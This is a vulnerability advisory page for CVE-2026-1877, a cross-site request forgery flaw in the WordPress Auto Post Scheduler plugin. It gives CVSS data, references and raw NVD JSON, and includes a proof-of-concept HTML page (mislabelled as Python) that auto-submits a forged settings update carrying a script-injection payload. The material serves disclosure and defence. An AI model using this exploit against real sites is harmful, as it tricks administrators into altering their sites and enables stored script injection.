CVE-2026-1877

Description

The Auto Post Scheduler plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.84. This is due to missing nonce validation on the 'aps_options_page' function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Auto Post Scheduler <= 1.84

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-1877
  Description: HTML page to demonstrate CSRF vulnerability in Auto Post Scheduler plugin.
  Usage: Host this file and trick an authenticated admin to visit it.
-->
<html>
  <body>
    <!-- Form targeting the vulnerable plugin options page -->
    <form action="http://target-site/wp-admin/options-general.php?page=auto-post-scheduler" method="POST">
      <!-- Malicious payload injected into a plugin setting option -->
      <input type="hidden" name="aps_custom_field" value="<script>alert('CVE-2026-1877 CSRF Exploited');</script>" />
      <input type="hidden" name="action" value="update" />
      <input type="submit" value="Click Me" />
    </form>

    <script>
      // Automate the form submission upon page load
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1877
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1877
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1877/
[4] VulDB https://vuldb.com/cve/CVE-2026-1877
[5] https://plugins.trac.wordpress.org/browser/auto-post-scheduler/tags/1.84/auto-post-scheduler.php#L200
[6] https://plugins.trac.wordpress.org/browser/auto-post-scheduler/tags/1.84/auto-post-scheduler.php#L962
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/bd387fe3-ffc5-4981-93d7-2b0b14cc11d5?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1877", "sourceIdentifier": "[email protected]", "published": "2026-03-31T06:16:00.937", "lastModified": "2026-04-24T18:11:16.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Auto Post Scheduler plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.84. This is due to missing nonce validation on the 'aps_options_page' function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin Auto Post Scheduler para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta e incluyendo la 1.84. Esto se debe a la falta de validación de nonce en la función 'aps_options_page'. Esto hace posible que atacantes no autenticados actualicen la configuración e inyecten scripts web maliciosos a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/auto-post-scheduler/tags/1.84/auto-post-scheduler.php#L200", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/auto-post-scheduler/tags/1.84/auto-post-scheduler.php#L962", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bd387fe3-ffc5-4981-93d7-2b0b14cc11d5?source=cve", "source": "[email protected]"}]}}